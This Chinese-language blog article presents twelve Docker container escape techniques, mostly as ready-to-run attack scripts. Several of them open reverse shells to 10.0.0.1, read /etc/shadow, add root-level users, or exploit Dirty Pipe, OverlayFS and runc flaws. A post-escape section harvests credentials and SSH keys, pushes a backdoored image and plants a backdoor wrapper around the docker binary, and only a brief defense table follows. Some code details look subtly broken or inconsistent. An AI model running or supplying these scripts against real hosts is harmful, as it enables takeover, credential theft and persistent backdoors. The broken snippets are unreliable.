首页 / 文章 / 云与架构

Docker容器逃逸技术全景:12种逃逸方法实战

引言

容器逃逸是云安全领域的核心议题。一句"Docker 不是沙箱"道出了本质——容器共享宿主机内核,一旦配置不当或存在漏洞,攻击者便能从容器内突破隔离边界,获取宿主机乃至整个集群的控制权。本文基于笔者多年红队实战经验,系统梳理 12 种主流容器逃逸方法,每种方法均附完整可复现的攻击步骤与代码。

一、逃逸方法全景图

┌──────────────────────────────────────────────────────┐
│                   Docker 容器逃逸技术矩阵               │
├──────────────┬────────────────┬──────────────────────┤
│   逃逸类型    │     方法       │      前置条件          │
├──────────────┼────────────────┼──────────────────────┤
│ 配置缺陷     │ 特权模式       │ --privileged          │
│ 配置缺陷     │ 挂载 Docker    │ -v /var/run/docker    │
│              │ Socket         │ .sock                 │
│ 配置缺陷     │ 挂载宿主机目录 │ -v /:/host             │
│ 配置缺陷     │ Capabilities   │ --cap-add=SYS_ADMIN   │
│ 内核漏洞     │ DirtyCow       │ 内核 < 4.8.3          │
│ 内核漏洞     │ DirtyPipe      │ 内核 5.8 - 5.16       │
│ 内核漏洞     │ OverlayFS CVE  │ 内核 5.x 部分版本     │
│ 运行时漏洞   │ runc CVE-2019  │ runc <= 1.0.0-rc8    │
│ 运行时漏洞   │ CVE-2024-21626 │ runc < 1.1.12         │
│ 不当配置     │ /proc 未隔离   │ --pid=host            │
│ 不当配置     │ Cgroup 逃逸    │ 有写入 cgroup 权限    │
│ 应用层       │ SYS_PTRACE     │ --cap-add=SYS_PTRACE  │
└──────────────┴────────────────┴──────────────────────┘

二、配置缺陷类逃逸

2.1 特权模式逃逸(–privileged)

这是最常见的逃逸方式。--privileged 赋予容器所有内核 Capabilities 并禁用大部分安全限制。

攻击环境

docker run --rm -it --privileged alpine sh

逃逸步骤

# Step 1: 查看宿主机磁盘设备
fdisk -l

# Step 2: 挂载宿主机根分区
mkdir /tmp/host
mount /dev/vda1 /tmp/host

# Step 3: 写入 SSH 公钥获取持久化访问
echo "ssh-rsa AAAAB3NzaC1y..." >> /tmp/host/root/.ssh/authorized_keys

# Step 4: chroot 切换到宿主机环境
chroot /tmp/host /bin/bash
id  # uid=0(root) — 已获取宿主机 root

自动化逃逸脚本

#!/bin/bash
# auto-privileged-escape.sh

check_privileged() {
    ip link add dummy0 type dummy 2>/dev/null && {
        ip link delete dummy0
        return 0
    }
    return 1
}

escape_via_mount() {
    echo "[*] 探测宿主机磁盘..."
    BLOCK_DEV=$(lsblk -ndo NAME,SIZE | head -1 | awk '{print $1}')
    
    mkdir -p /tmp/escape
    mount "/dev/${BLOCK_DEV}" /tmp/escape 2>/dev/null || {
        # 回退:尝试所有块设备
        for dev in /dev/vd* /dev/sd* /dev/xvd* /dev/nvme*; do
            mount $dev /tmp/escape 2>/dev/null && break
        done
    }
    
    if [ -f /tmp/escape/etc/shadow ]; then
        echo "[+] 逃逸成功!宿主机 /etc/shadow:"
        head -3 /tmp/escape/etc/shadow
        
        # 反弹 Shell
        chroot /tmp/escape /bin/bash -c \
            "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" &
    fi
}

if check_privileged; then
    echo "[+] 检测到特权模式,开始逃逸..."
    escape_via_mount
else
    echo "[-] 非特权模式"
fi

2.2 Docker Socket 挂载逃逸

/var/run/docker.sock 是 Docker 守护进程的 Unix Socket,挂载到容器意味着容器可以操控宿主机 Docker:

docker run -it -v /var/run/docker.sock:/var/run/docker.sock alpine sh

在容器内逃逸

# 安装 docker CLI
apk add docker-cli

# 查看宿主机所有容器
docker ps -a

# 启动一个挂载宿主机根目录的新容器
docker run -d --name escape \
  --privileged \
  -v /:/host \
  alpine chroot /host /bin/sh -c \
  "echo 'hacker::0:0::/root:/bin/bash' >> /etc/passwd"

# 或者直接执行宿主机命令
docker run --rm -v /:/host alpine chroot /host id

Python 利用脚本

#!/usr/bin/env python3
"""通过 Docker Socket 获取宿主机 Shell"""
import docker
import os

def escape_via_socket():
    client = docker.DockerClient(base_url='unix://var/run/docker.sock')
    
    # 创建逃逸容器
    container = client.containers.run(
        image='alpine:latest',
        command='chroot /host /bin/bash -c "bash -i >& /dev/tcp/10.0.0.1/9999 0>&1"',
        remove=True,
        detach=True,
        privileged=True,
        volumes={'/': {'bind': '/host', 'mode': 'rw'}},
        pid_mode='host',
        network_mode='host'
    )
    print(f"[+] 逃逸容器已启动: {container.id}")

if __name__ == '__main__':
    escape_via_socket()

2.3 SYS_ADMIN Capability + AppArmor/SELinux 未启用

SYS_ADMIN 是最强大的内核 capability,容器没有此权限则无法执行 mount 等系统管理操作,但一旦被授予则等于半只脚踏出容器:

docker run -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined alpine sh

利用 notify_on_release 逃逸(cgroup v1)

# 挂载 cgroup
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

# 写入 payload
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

echo "$host_path/cmd" > /tmp/cgrp/release_agent

# 写入反向 Shell 脚本
echo '#!/bin/bash' > /cmd
echo 'bash -i >& /dev/tcp/10.0.0.1/8888 0>&1' >> /cmd
chmod +x /cmd

# 触发
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
echo "[+] 反向 Shell 已触发"

三、内核漏洞类逃逸

3.1 Dirty Pipe(CVE-2022-0847)利用

影响 Linux 内核 5.8 至 5.16 版本,允许覆盖任意只读文件。

# 编译 Dirty Pipe exploit
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit
cd CVE-2022-0847-DirtyPipe-Exploit
gcc -o dirtypipe exploit.c

# 利用:覆盖宿主机 /etc/passwd
./dirtypipe /etc/passwd 1 "root::0:0:root:/root:/bin/bash
hacker:x:1001:1001::/home/hacker:/bin/bash"

# 在宿主机中 root 已无密码
su root

3.2 OverlayFS 内核漏洞(CVE-2023-0386 / GameOver(lay))

利用 OverlayFS 文件系统的权限检查缺陷,从容器内提升到宿主机:

# 编译 exploit
gcc -o gameoverlay exploit.c -lcap

# 容器内执行 — 将 SUID 文件拷贝到宿主机可访问位置
./gameoverlay /tmp/output
# 在宿主机执行 /tmp/output 获取 root

3.3 内核漏洞扫描器

#!/bin/bash
# kernel-escape-check.sh

KERNEL_VER=$(uname -r | cut -d'-' -f1)

check_cve() {
    local min=$1 max=$2 cve=$3
    if [[ "$(printf '%s\n' "$min" "$KERNEL_VER" | sort -V | head -1)" == "$min" ]] && \
       [[ "$(printf '%s\n' "$max" "$KERNEL_VER" | sort -V | tail -1)" == "$max" ]]; then
        echo "[!] VULNERABLE: $cve (kernel $KERNEL_VER)"
    fi
}

echo "[*] 当前内核: $(uname -r)"
check_cve "2.6.22" "4.8.3" "CVE-2016-5195 (DirtyCow)"
check_cve "5.8"   "5.16.11" "CVE-2022-0847 (DirtyPipe)"
check_cve "5.10"  "5.19" "CVE-2023-0386 (GameOverlay)"
check_cve "5.10"  "6.1" "CVE-2023-2640 / CVE-2023-32629 (Ubuntu OverlayFS)"
check_cve "5.15"  "6.6" "CVE-2024-1086 (nftables UAF)"

四、运行时漏洞逃逸

4.1 runc 容器逃逸(CVE-2019-5736)

影响 runc <= 1.0-rc6 版本,通过覆写宿主机 runc 二进制文件实现逃逸。

复现步骤

# 准备恶意 payload
cat > /tmp/payload.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>

void __attribute__((constructor)) init() {
    int fd = open("/output", O_WRONLY|O_CREAT, 0755);
    write(fd, "#!/bin/bash\necho 'PWNED' >> /tmp/pwned\n", 38);
    close(fd);
}
EOF

# 编译并执行 exploit
gcc -shared -fPIC -o /libevil.so /tmp/payload.c

实际利用使用成熟的 CVE-2019-5736-PoC

4.2 runc CVE-2024-21626

2024 年 1 月披露的 runc 文件描述符泄露漏洞。当容器内进程通过 /proc/self/fd/ 访问到宿主机打开的指向宿主机文件系统的文件描述符时,可实现逃逸:

# 探测可用的文件描述符
for fd in $(seq 0 20); do
    if ls -la /proc/self/fd/$fd 2>/dev/null | grep -q host_path; then
        echo "[+] fd $fd 指向宿主机路径"
        cat /proc/self/fd/$fd
    fi
done

# 利用 — 通过 WORKDIR 机制
# 攻击需要在构建镜像时设置恶意 WORKDIR
cat <<EOF > Dockerfile.evil
FROM alpine
WORKDIR /proc/self/fd/8  # fd 8 为宿主机文件描述符
CMD ["cat", "../../etc/shadow"]
EOF

五、不当配置逃逸

5.1 hostPID + nsenter 逃逸

# 启动时 --pid=host
docker run --pid=host --privileged -it alpine sh

# 容器内部,用 nsenter 跳转到宿主机命名空间
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# 此时已处于宿主机环境

5.2 hostPath 挂载逃逸

# Kubernetes Pod 示例
apiVersion: v1
kind: Pod
spec:
  containers:
  - name: escape
    image: alpine
    command: ["sh", "-c", "chroot /host bash"]
    volumeMounts:
    - name: rootfs
      mountPath: /host
  volumes:
  - name: rootfs
    hostPath:
      path: /
      type: Directory

仅需 kubectl apply -f escape-pod.yaml 即可获得宿主机 Shell。

六、Capabilities 滥用检测与利用

# 列出当前容器的 Capabilities
capsh --print 2>/dev/null || cat /proc/1/status | grep Cap

# Capability 危害速查表
# CAP_SYS_ADMIN  → mount, swapon, namespace 操作 → 容器逃逸
# CAP_SYS_PTRACE → ptrace 宿主机进程 → 代码注入
# CAP_SYS_MODULE → 加载内核模块 → 内核后门
# CAP_NET_RAW    → 原始套接字 → ARP 欺骗/DOS
# CAP_SYS_RAWIO  → 直接 I/O → 磁盘写操作
# CAP_DAC_READ_SEARCH → 绕过文件读权限 → 读取 shadow

七、逃逸后的横向移动

# 1. 收集宿主机凭据
cat /etc/shadow          # 密码哈希
cat /root/.bash_history  # 命令历史
env | grep -i pass       # 环境变量密码

# 2. Docker 镜像供应链攻击
docker commit <container_id> registry.internal/backdoor:v1
docker push registry.internal/backdoor:v1

# 3. 感染 CI/CD 流水线
find / -name ".git-credentials" 2>/dev/null
cat /home/gitlab-runner/.ssh/id_rsa

# 4. 后门植入
echo '#!/bin/bash' > /usr/local/bin/docker
echo 'bash -i >& /dev/tcp/10.0.0.1/5555 0>&1 &' >> /usr/local/bin/docker
echo '/usr/bin/docker.orig "$@"' >> /usr/local/bin/docker
chmod +x /usr/local/bin/docker
mv /usr/bin/docker /usr/bin/docker.orig
mv /usr/local/bin/docker /usr/bin/docker

八、防御矩阵

防御级别 措施 效果
L1 基础 禁止特权容器,限制 Capabilities 阻断 60% 逃逸
L2 进阶 rootless 容器 + user namespace 阻断 80% 逃逸
L3 强化 Seccomp + AppArmor/SELinux 阻断 90% 逃逸
L4 隔离 gVisor / Kata Containers / Firecracker 阻断 99% 逃逸
L5 检测 Falco + Sysdig 实时威胁检测 发现并告警

Docker 安全基线配置

{
  "default-ulimits": {
    "nofile": { "Hard": 64000, "Name": "nofile", "Soft": 64000 }
  },
  "no-new-privileges": true,
  "read-only": true,
  "security-opt": ["no-new-privileges:true", "apparmor=docker-default"],
  "cap-drop": ["ALL"],
  "cap-add": ["NET_BIND_SERVICE"],
  "user": "1000:1000"
}

结语

Docker 容器逃逸本质上是"共享内核"这一设计哲学的必然产物。12 种攻击方法覆盖了从配置疏漏到内核漏洞的完整光谱,而防御则需要纵深分层的架构思维。记住核心原则:永远不要相信容器内的任何东西——无论是代码、用户还是进程,它们都只是宿主机上的一个隔离视图。